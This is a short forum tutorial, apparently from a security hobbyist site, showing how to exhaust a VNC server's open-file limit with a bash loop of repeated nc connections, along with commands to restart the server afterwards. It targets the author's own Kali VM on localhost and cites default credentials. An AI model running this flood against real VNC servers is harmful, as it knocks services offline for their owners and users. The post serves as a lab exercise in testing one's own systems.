VNC DoS Quickly

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
A couple things are required:
  1. Get Kali Linux in VirtualBox as detailed here: https://ciphers.pw/threads/virtualbox-kali-full-screen.8200/
  2. Login as normal with root :: toor
  3. Make sure vncserver is running, for example try "vncserver", you may be prompted for a password try: N0thinghard
  4. Let's get nmap "apt install nmap -y"
  5. Now run "nmap localhost" you should see 5901/tcp open.
  6. "pkill nc" in case you have any nc running, stop this.
  7. Have two Terminal windows open separately.
  8. In one: "cd /root/.vnc/" now "tail -f *log"
  9. In your separate Terminal, try this beautiful loop "while :; do nc localhost 5901 & sleep 0.01; done"
You will notice that after leaving this for a little while, there is an error "rfbCheckFds: accept: Too many open files"

So at this point, you may begin to notice that if someone attempts a simply "nc localhost 5901", simply they will not connect because of the error being reported on too many open files.

2292

To enable your Kali VNC again, you will have to possibly reload the process like this (first Ctrl+C on the attack Terminal to stop):
Code:
nc localhost 5901 #This will attempt a connection and likely be refused if your log file shows the file open error
pkill vnc #terminate the VNC process since this is hanging
pkill nc #stop the nc attack processes, terminate them
vncserver #Launch the vncserver back so we can now connection and perhaps retry the attack again?!

Have fun, be safe, good luck.. and only do this to yourself.
 
Last edited:
Top